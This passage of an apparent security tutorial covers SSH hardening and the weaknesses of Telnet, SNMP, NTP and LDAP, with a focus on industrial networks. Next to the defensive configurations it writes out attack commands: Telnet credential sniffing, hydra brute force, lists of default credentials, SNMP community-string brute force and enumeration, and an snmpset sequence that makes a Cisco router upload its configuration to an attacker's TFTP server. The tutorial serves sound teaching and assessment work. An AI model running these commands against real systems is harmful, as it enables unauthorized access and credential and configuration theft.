proxychains nmap &lt;span class="nt"&gt;-sT&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80,443,445 10.10.10.0/24
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.4 SSH Hardening
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# /etc/ssh/sshd_config — security configuration:&lt;/span&gt;

&lt;span class="c"&gt;# Disable root login:&lt;/span&gt;
PermitRootLogin no
&lt;span class="c"&gt;# Why: even with strong auth, root login makes brute force more valuable&lt;/span&gt;
&lt;span class="c"&gt;# Best practice: sudo from regular user&lt;/span&gt;

&lt;span class="c"&gt;# Disable password authentication:&lt;/span&gt;
PasswordAuthentication no
&lt;span class="c"&gt;# Why: eliminates brute force entirely. Key-only auth.&lt;/span&gt;
&lt;span class="c"&gt;# Requirement: all users must have deployed public keys first&lt;/span&gt;

&lt;span class="c"&gt;# Restrict to specific users:&lt;/span&gt;
AllowUsers alice bob            &lt;span class="c"&gt;# Only these users can SSH&lt;/span&gt;
AllowGroups ssh-users           &lt;span class="c"&gt;# Only members of this group&lt;/span&gt;

&lt;span class="c"&gt;# Change default port (minor obscurity, reduces automated scanning):&lt;/span&gt;
Port 2222
&lt;span class="c"&gt;# Not a security control, but reduces log noise from automated scanners&lt;/span&gt;

&lt;span class="c"&gt;# Disable empty passwords:&lt;/span&gt;
PermitEmptyPasswords no

&lt;span class="c"&gt;# Set authentication timeout:&lt;/span&gt;
LoginGraceTime 30              &lt;span class="c"&gt;# 30 seconds to authenticate, then disconnect&lt;/span&gt;

&lt;span class="c"&gt;# Limit authentication attempts:&lt;/span&gt;
MaxAuthTries 3                  &lt;span class="c"&gt;# Disconnect after 3 failures&lt;/span&gt;

&lt;span class="c"&gt;# Disable X11 forwarding:&lt;/span&gt;
X11Forwarding no
&lt;span class="c"&gt;# Unless needed, X11 forwarding is unnecessary attack surface&lt;/span&gt;

&lt;span class="c"&gt;# Disable TCP forwarding (if SSH is for shell only):&lt;/span&gt;
AllowTcpForwarding no
AllowStreamLocalForwarding no
GatewayPorts no

&lt;span class="c"&gt;# Use strong ciphers only:&lt;/span&gt;
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
MACs hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com
KexAlgorithms curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp521

&lt;span class="c"&gt;# Enable two-factor authentication (Google Authenticator or similar):&lt;/span&gt;
&lt;span class="c"&gt;# Requires libpam-google-authenticator installed&lt;/span&gt;
AuthenticationMethods publickey,keyboard-interactive
&lt;span class="c"&gt;# User needs both a valid SSH key AND a TOTP code&lt;/span&gt;

&lt;span class="c"&gt;# Log verbose:&lt;/span&gt;
LogLevel VERBOSE                &lt;span class="c"&gt;# More detail in /var/log/auth.log&lt;/span&gt;

&lt;span class="c"&gt;# Restart SSH to apply:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart ssh
&lt;span class="nb"&gt;sudo &lt;/span&gt;sshd &lt;span class="nt"&gt;-t&lt;/span&gt;                    &lt;span class="c"&gt;# Test configuration for errors first&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; SSH is the most trusted remote access protocol in existence, which makes it the most valuable target. An attacker with valid SSH credentials or an SSH private key owns the machine. Key-based authentication eliminates brute force entirely. Every SSH deployment without &lt;code&gt;PasswordAuthentication no&lt;/code&gt; is an unacceptable risk.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  6. Telnet — The Insecure Predecessor
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 What Telnet Is and Why It Still Exists
&lt;/h3&gt;

&lt;p&gt;Telnet (RFC 854, 1983) provides remote terminal access. It predates security as a design consideration by more than a decade. Everything — credentials, commands, output — is transmitted in cleartext over TCP port 23.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Telnet session (what anyone on the network sees):

Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

User Access Verification
Username: admin
Password: secretpassword123        ← Visible in plaintext

Router&amp;gt;enable
Password: enablepassword           ← Also visible

Router#show running-config
...entire device configuration transmitted in cleartext...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is no legitimate security argument for using Telnet where SSH is available. Yet Telnet remains pervasive because:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Legacy OT devices:&lt;/strong&gt; Many PLCs, RTUs, and industrial switches from the 1990s-2000s only support Telnet. The hardware cannot be upgraded.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network device management:&lt;/strong&gt; Older Cisco IOS, Juniper JunOS, and other network operating systems defaulted to Telnet before SSH became standard.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vendor management software:&lt;/strong&gt; Some SCADA vendors still use Telnet in their proprietary management tools.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Emergency access:&lt;/strong&gt; Some environments keep Telnet as a fallback for when SSH certificates expire or configurations break.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  6.2 Telnet Security Analysis
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Test if Telnet is open:&lt;/span&gt;
nc &lt;span class="nt"&gt;-zv&lt;/span&gt; target_ip 23              &lt;span class="c"&gt;# Test connectivity&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 23 target_ip        &lt;span class="c"&gt;# Version + service detection&lt;/span&gt;
telnet target_ip                 &lt;span class="c"&gt;# Connect manually&lt;/span&gt;

&lt;span class="c"&gt;# Capture Telnet credentials with tcpdump:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="s1"&gt;'port 23'&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"[Pp]assword|[Uu]sername|login:"&lt;/span&gt;
&lt;span class="c"&gt;# Everything is cleartext — this works reliably&lt;/span&gt;

&lt;span class="c"&gt;# Capture in Wireshark:&lt;/span&gt;
&lt;span class="c"&gt;# Filter: tcp.port == 23&lt;/span&gt;
&lt;span class="c"&gt;# Follow TCP stream → see entire session in cleartext&lt;/span&gt;

&lt;span class="c"&gt;# Brute force Telnet:&lt;/span&gt;
hydra &lt;span class="nt"&gt;-L&lt;/span&gt; users.txt &lt;span class="nt"&gt;-P&lt;/span&gt; passwords.txt telnet://target_ip

&lt;span class="c"&gt;# Default credentials worth trying:&lt;/span&gt;
&lt;span class="c"&gt;# Cisco: admin/admin, cisco/cisco, admin/blank&lt;/span&gt;
&lt;span class="c"&gt;# Juniper: root/blank (older versions)&lt;/span&gt;
&lt;span class="c"&gt;# Industrial: admin/admin, admin/1234, operator/operator&lt;/span&gt;

&lt;span class="c"&gt;# Detect Telnet in enterprise networks:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 23 &lt;span class="nt"&gt;--open&lt;/span&gt; 192.168.0.0/16 2&amp;gt;/dev/null
&lt;span class="c"&gt;# Any open port 23 in an enterprise environment = immediate finding&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Telnet in OT/ICS:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Scope of Telnet in OT environments (2024 reality):
  - Modbus-capable Ethernet adapters: 40-60% support Telnet only
  - Legacy managed switches in substations: often Telnet-only management
  - Some Siemens S7 communications processors: Telnet management
  - Many SCADA data concentrators: Telnet console access
  - Building automation gateways: frequently Telnet-enabled

Assessment approach:
  1. Never assume Telnet is not present — always scan port 23
  2. Never connect via Telnet on production network (credentials captured)
  3. Document finding with: device type, IP, whether default creds work
  4. Remediation path: SSH if supported, isolated management network if not,
     physical console access policy if neither

Compensating controls when Telnet cannot be eliminated:
  - Dedicated management VLAN accessible only from jump server
  - Jump server requires MFA
  - All access logged and monitored
  - Out-of-band management network (physically separate)
  - Network ACL: Telnet accessible ONLY from specific management IPs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Finding Telnet open during an assessment means the attacker already has everything they need from the first network-level MITM — complete plaintext credentials and session content. There is no compensating control that makes Telnet acceptable on a network that shares medium with untrusted hosts. Document it, escalate it, eliminate it.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  7. SNMP — Simple Network Management Protocol
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 SNMP Architecture
&lt;/h3&gt;

&lt;p&gt;SNMP (Simple Network Management Protocol) allows centralised monitoring and management of network devices — routers, switches, servers, printers, UPS systems, PLCs, and virtually any network-connected hardware.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SNMP Components:
  Manager: monitoring system (SolarWinds, PRTG, Nagios, Zabbix)
  Agent:   software running on managed device
  MIB:     Management Information Base — the database schema

Communication:
  UDP 161: Manager → Agent (queries, set commands)
  UDP 162: Agent → Manager (traps — unsolicited alerts)

SNMP PDU (Protocol Data Unit) types:
  GetRequest:    Manager asks for specific OID value
  GetNextRequest:Manager asks for next OID (used for table walking)
  GetBulkRequest:Manager asks for multiple OIDs efficiently (v2c+)
  SetRequest:    Manager sets a value on agent (read-write community)
  Response:      Agent replies to Get/Set
  Trap:          Agent sends unsolicited alert (link down, threshold exceeded)
  InformRequest: Trap with acknowledgement (v2c+)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;OID — Object Identifier:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Everything in SNMP is accessed by OID — a hierarchical dotted notation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;.1.3.6.1.2.1.1.1.0          sysDescr — System description
.1.3.6.1.2.1.1.3.0          sysUpTime — How long since last restart
.1.3.6.1.2.1.1.5.0          sysName — Device hostname
.1.3.6.1.2.1.2.2.1.2        ifDescr — Interface descriptions
.1.3.6.1.2.1.2.2.1.8        ifOperStatus — Interface status (up/down)
.1.3.6.1.2.1.4.20.1.1       ipAdEntAddr — IP addresses configured
.1.3.6.1.2.1.4.21.1.1       ipRouteDest — Routing table destinations
.1.3.6.1.2.1.4.22.1.2       ipNetToMediaPhysAddress — ARP table
.1.3.6.1.2.1.6.13.1.2       tcpConnLocalAddress — Active TCP connections
.1.3.6.1.4.1.9              Cisco enterprise OID branch
.1.3.6.1.4.1.2636           Juniper enterprise OID branch
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 SNMP Version Security Comparison
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SNMPv1 (1988):
  Authentication: Community string (plaintext password)
  Encryption: NONE — all data cleartext including community string
  Default communities: "public" (read), "private" (read-write)
  Security: NONE by modern standards
  Still in use: Widely, especially in legacy OT environments

SNMPv2c (1993):
  Authentication: Community string (still plaintext)
  Encryption: NONE
  Improvement: Efficiency (GetBulk), performance
  Security: Identical to v1 — still no encryption
  The "c" stands for "community" — acknowledging security not addressed

SNMPv3 (2004):
  Authentication: HMAC-MD5 or HMAC-SHA (message authentication)
  Privacy: AES or DES encryption for payload
  Security levels:
    noAuthNoPriv: no authentication, no encryption (= v1/v2c)
    authNoPriv:   authentication only
    authPriv:     authentication + encryption (ONLY secure level)
  Users: individual user accounts instead of community strings
  Status: The only version that should be deployed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.3 SNMP Attack Techniques
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;SNMP Community String Discovery:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Default community strings to always try:&lt;/span&gt;
&lt;span class="c"&gt;# public, private, community, snmp, manager, read, write, monitor, &lt;/span&gt;
&lt;span class="c"&gt;# default, admin, cisco, juniper, password, secret&lt;/span&gt;

&lt;span class="c"&gt;# onesixtyone — fast SNMP community string brute force:&lt;/span&gt;
onesixtyone &lt;span class="nt"&gt;-c&lt;/span&gt; /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt &lt;span class="se"&gt;\&lt;/span&gt;
    192.168.1.0/24
&lt;span class="c"&gt;# Scans entire subnet for SNMP with common communities&lt;/span&gt;

&lt;span class="c"&gt;# nmap SNMP enumeration:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 161 &lt;span class="nt"&gt;--script&lt;/span&gt; snmp-brute 192.168.1.1
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 161 &lt;span class="nt"&gt;--script&lt;/span&gt; snmp-info 192.168.1.1      &lt;span class="c"&gt;# Basic info&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 161 &lt;span class="nt"&gt;--script&lt;/span&gt; snmp-sysdescr 192.168.1.1  &lt;span class="c"&gt;# System description&lt;/span&gt;

&lt;span class="c"&gt;# snmpwalk — walk the entire MIB tree:&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 192.168.1.1                   &lt;span class="c"&gt;# All MIB data&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 192.168.1.1 system            &lt;span class="c"&gt;# System info only&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 192.168.1.1 1.3.6.1.2.1.4.20 &lt;span class="c"&gt;# IP address table&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 192.168.1.1 1.3.6.1.2.1.4.21 &lt;span class="c"&gt;# Routing table&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 192.168.1.1 1.3.6.1.2.1.4.22 &lt;span class="c"&gt;# ARP table&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 192.168.1.1 1.3.6.1.2.1.2    &lt;span class="c"&gt;# Interfaces&lt;/span&gt;

&lt;span class="c"&gt;# snmp-check — comprehensive enumeration:&lt;/span&gt;
snmp-check &lt;span class="nt"&gt;-c&lt;/span&gt; public &lt;span class="nt"&gt;-v&lt;/span&gt; 2c 192.168.1.1
&lt;span class="c"&gt;# Outputs: system info, user accounts, processes, interfaces, routing, ARP cache&lt;/span&gt;

&lt;span class="c"&gt;# Extract running processes via SNMP (Windows SNMP agent):&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 192.168.1.100 1.3.6.1.2.1.25.4.2
&lt;span class="c"&gt;# Reveals: every running process on the Windows machine&lt;/span&gt;

&lt;span class="c"&gt;# Get Windows installed software via SNMP:&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 192.168.1.100 1.3.6.1.2.1.25.6.3.1.2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SNMP Write Access — Configuration Modification:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# If "private" community or another read-write community is found:&lt;/span&gt;

&lt;span class="c"&gt;# Set a value (change hostname):&lt;/span&gt;
snmpset &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; private 192.168.1.1 &lt;span class="se"&gt;\&lt;/span&gt;
    1.3.6.1.2.1.1.5.0 s &lt;span class="s2"&gt;"new-hostname"&lt;/span&gt;

&lt;span class="c"&gt;# On network devices with SNMP write access, attackers can:&lt;/span&gt;
&lt;span class="c"&gt;# - Change interface descriptions (minor)&lt;/span&gt;
&lt;span class="c"&gt;# - Modify routing tables (severe — redirect traffic)&lt;/span&gt;
&lt;span class="c"&gt;# - Shut down interfaces (DoS)&lt;/span&gt;
&lt;span class="c"&gt;# - Download/upload device config via TFTP (CISCO-CONFIG-COPY-MIB)&lt;/span&gt;
&lt;span class="c"&gt;# - Modify ACLs (security bypass)&lt;/span&gt;

&lt;span class="c"&gt;# Cisco: download running-config via SNMP:&lt;/span&gt;
snmpset &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; private 192.168.1.1 &lt;span class="se"&gt;\&lt;/span&gt;
    1.3.6.1.4.1.9.9.96.1.1.1.1.2.1 i 1 &lt;span class="se"&gt;\ &lt;/span&gt;    &lt;span class="c"&gt;# protocol = tftp&lt;/span&gt;
    1.3.6.1.4.1.9.9.96.1.1.1.1.3.1 i 4 &lt;span class="se"&gt;\ &lt;/span&gt;    &lt;span class="c"&gt;# source = running-config&lt;/span&gt;
    1.3.6.1.4.1.9.9.96.1.1.1.1.4.1 i 1 &lt;span class="se"&gt;\ &lt;/span&gt;    &lt;span class="c"&gt;# destination = file&lt;/span&gt;
    1.3.6.1.4.1.9.9.96.1.1.1.1.5.1 a 192.168.1.50 &lt;span class="se"&gt;\ &lt;/span&gt; &lt;span class="c"&gt;# TFTP server IP&lt;/span&gt;
    1.3.6.1.4.1.9.9.96.1.1.1.1.6.1 s &lt;span class="s2"&gt;"router-config.txt"&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt; &lt;span class="c"&gt;# filename&lt;/span&gt;
    1.3.6.1.4.1.9.9.96.1.1.1.1.14.1 i 1    &lt;span class="c"&gt;# activate&lt;/span&gt;
&lt;span class="c"&gt;# Router uploads its running configuration to attacker's TFTP server&lt;/span&gt;
&lt;span class="c"&gt;# Contains: all passwords (potentially), routing config, ACLs, everything&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SNMP in OT/ICS Environments:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Reality check on SNMP in industrial networks:
  - Network switches in substations: ~70% still use SNMPv1 or v2c
  - Industrial UPS systems: almost always SNMPv1 with default "public"
  - Environmental monitoring (temperature, humidity): SNMPv1 typical
  - Some PLCs: SNMP agent for monitoring (read-only, but reveals process data)
  - SCADA data concentrators: frequently SNMPv2c for NMS integration

Attack scenario in OT:
  1. Attacker on OT network discovers SNMP v2c with "public" community
  2. snmpwalk reveals all network devices, their IPs, interfaces
  3. ARP table reveals all hosts that have communicated recently
  4. Routing table reveals network topology
  5. Attacker now has complete network map without active scanning
     → Passive, low-noise reconnaissance

  With "private" community (still common on legacy switches):
  6. Attacker downloads running configuration of switches
  7. Extracts VLAN configuration, spanning tree, port assignments
  8. May find passwords stored in configuration
  9. Can modify switch configuration to remove port security or ACLs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; SNMP v1/v2c with default community strings is the most common single vulnerability in industrial network environments. "Public" community string provides read access to the entire network topology — all devices, all connections, all configurations. This is reconnaissance without a single port scan. SNMPv3 with authPriv is the only acceptable configuration.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. NTP — Network Time Protocol
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 Why Time Synchronisation Is a Security Control
&lt;/h3&gt;

&lt;p&gt;NTP (Network Time Protocol, RFC 5905) synchronises clocks across networked devices. This appears mundane until you understand what breaks without accurate time:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Security systems that depend on accurate time:

Kerberos authentication:
  Ticket timestamps must be within 5 minutes of server time
  Clock skew &amp;gt; 5 minutes → authentication fails
  Attacker who desynchronises clocks → Kerberos paralysis

TLS/SSL certificates:
  Certificate validity is time-bounded (Not Before / Not After)
  Wrong clock → HTTPS connections fail

Log correlation:
  Events across multiple systems can only be correlated if timestamps align
  Forensic timeline analysis requires synchronized clocks
  Attacker who desynchronises logs → forensic timeline becomes unreliable

File system timestamps:
  Evidence in forensic investigations depends on correct timestamps
  Desynchronisation = corrupted evidence trail

ICS Protection Relays:
  Distance protection (zone 1/2/3) relies on precise timing
  PMU (Phasor Measurement Units) require GPS-disciplined NTP for microsecond accuracy
  IEC 61850 GOOSE message timing is time-critical
  IEEE 1588 (PTP — Precision Time Protocol) for sub-microsecond OT timing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.2 NTP Architecture and Operation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NTP hierarchy (Stratum levels):

Stratum 0: Atomic clocks, GPS receivers, radio clocks — reference clocks
Stratum 1: NTP servers directly connected to Stratum 0 (e.g., time.nist.gov)
Stratum 2: NTP servers synced to Stratum 1 (e.g., pool.ntp.org servers)
Stratum 3: NTP servers synced to Stratum 2 (typical enterprise NTP server)
...
Stratum 15: Maximum usable stratum
Stratum 16: Unsynchronised (clock considered unreliable)

NTP packet exchange (UDP 123):
Client → Server: NTP request (with client's current timestamp)
Server → Client: NTP response (with server timestamps: receive, transmit)
Client calculates: offset, delay, dispersion
Client adjusts local clock gradually (slewing) or jumps (step)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.3 NTP Attack Techniques
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;NTP Amplification DDoS (CVE-2013-5211):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The monlist attack:
  NTP has a monitoring command called monlist (MON_GETLIST)
  monlist returns: last 600 clients that connected to this NTP server

  Attack:
  1. Send monlist request with spoofed source IP (victim's IP)
  2. NTP server sends response to victim
  3. Response is 200-700× larger than request
  4. Amplification factor: 556.9× (officially documented)

  Impact:
  With 1 Gbps of spoofed monlist requests → 556 Gbps hits the victim
  Used in 400 Gbps attacks against Cloudflare and CloudFlare customers (2014)

Fix: Upgrade ntpd to 4.2.7+ (monlist disabled by default) or:
ntpd configuration: "disable monitor"

Check if NTP server is vulnerable:
ntpdc -n -c monlist target_ntp_server
# If it returns data: vulnerable to amplification

Check with nmap:
nmap -sU -p 123 --script ntp-monlist target_ip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;NTP Time Poisoning:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack:
  Attacker MITM's NTP traffic (UDP, easy to spoof/inject)
  Sends crafted NTP responses with wrong timestamps
  Victim clock desynchronises

  Consequences:
  - Kerberos authentication fails (&amp;gt; 5 minute skew)
  - Certificate validation fails
  - Log timestamps become unreliable
  - ICS timing-dependent processes malfunction

  In OT environments (most critical):
  - Protection relays use timestamps for fault location
  - Energy management systems use time for control decisions
  - PMU data becomes unreliable → power system instability

Mitigation:
  NTPsec: authenticated NTP with cryptographic signatures
  Symmetric key authentication in NTP (ntpd configuration)
  PTP (Precision Time Protocol, IEEE 1588) with hardware timestamping for OT
  Multiple NTP sources — single compromised source rejected by median filter

Configure NTP authentication:
# /etc/ntp.conf:
server 192.168.1.1 key 1
keys /etc/ntp.keys
trustedkey 1
requestkey 1
controlkey 1

# /etc/ntp.keys:
1 MD5 secretpassword123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check current time synchronisation:&lt;/span&gt;
timedatectl status              &lt;span class="c"&gt;# Linux&lt;/span&gt;
chronyc tracking               &lt;span class="c"&gt;# If using chrony&lt;/span&gt;
ntpq &lt;span class="nt"&gt;-p&lt;/span&gt;                        &lt;span class="c"&gt;# If using ntpd — shows peer status&lt;/span&gt;

&lt;span class="c"&gt;# NTP reconnaissance:&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 123 &lt;span class="nt"&gt;--script&lt;/span&gt; ntp-info target_ip        &lt;span class="c"&gt;# NTP version, reference clock&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 123 &lt;span class="nt"&gt;--script&lt;/span&gt; ntp-monlist target_ip      &lt;span class="c"&gt;# Monlist vulnerability&lt;/span&gt;

&lt;span class="c"&gt;# Check NTP server stratum:&lt;/span&gt;
ntpdate &lt;span class="nt"&gt;-q&lt;/span&gt; ntp_server_ip        &lt;span class="c"&gt;# Query without setting clock&lt;/span&gt;

&lt;span class="c"&gt;# Monitor NTP traffic:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'udp port 123'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; NTP is a quiet protocol that most administrators configure once and forget. But time synchronisation is a prerequisite for every authentication system (Kerberos, certificates), every forensic investigation (log correlation), and every timing-critical OT system (protection relays, PMUs). An attacker who desynchronises clocks causes authentication failures system-wide and destroys the forensic timeline. NTP security — using authenticated NTP and multiple sources — deserves attention proportional to the systems that depend on it.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  9. LDAP — Lightweight Directory Access Protocol
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 LDAP and Active Directory
&lt;/h3&gt;

&lt;p&gt;LDAP (Lightweight Directory Access Protocol, RFC 4511) is the protocol used to query and modify directory services. In enterprise environments, LDAP is the interface to Active Directory — the system that manages every user, computer, group, and policy in the Windows domain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LDAP operates on:
  Port 389: LDAP (cleartext)
  Port 636: LDAPS (LDAP over TLS)
  Port 3268: Global Catalog LDAP
  Port 3269: Global Catalog LDAPS

Directory structure (Distinguished Name — DN):
  DC=company,DC=com                   ← Domain root
  ├── OU=Users                        ← Organizational Units
  │   ├── CN=John Smith               ← User object
  │   └── CN=Jane Doe
  ├── OU=Computers
  │   ├── CN=WORKSTATION01
  │   └── CN=SERVER01
  ├── OU=Groups
  │   ├── CN=Domain Admins            ← Group object
  │   └── CN=IT Staff
  └── CN=Builtin                      ← Built-in objects
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;LDAP Queries — The Foundation of AD Enumeration:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LDAP query components:
  Base DN:    Where to start searching (DC=company,DC=com)
  Scope:      BASE (one object), ONE (one level), SUB (subtree)
  Filter:     What to match ((objectClass=user), (&amp;amp;(objectClass=user)(memberOf=...)))
  Attributes: What to return (sAMAccountName, mail, memberOf, ...)

Common LDAP filters for AD enumeration:
  (objectClass=user)              All user objects
  (objectClass=computer)          All computer objects
  (objectClass=group)             All group objects
  (&amp;amp;(objectClass=user)(sAMAccountName=john))  Specific user
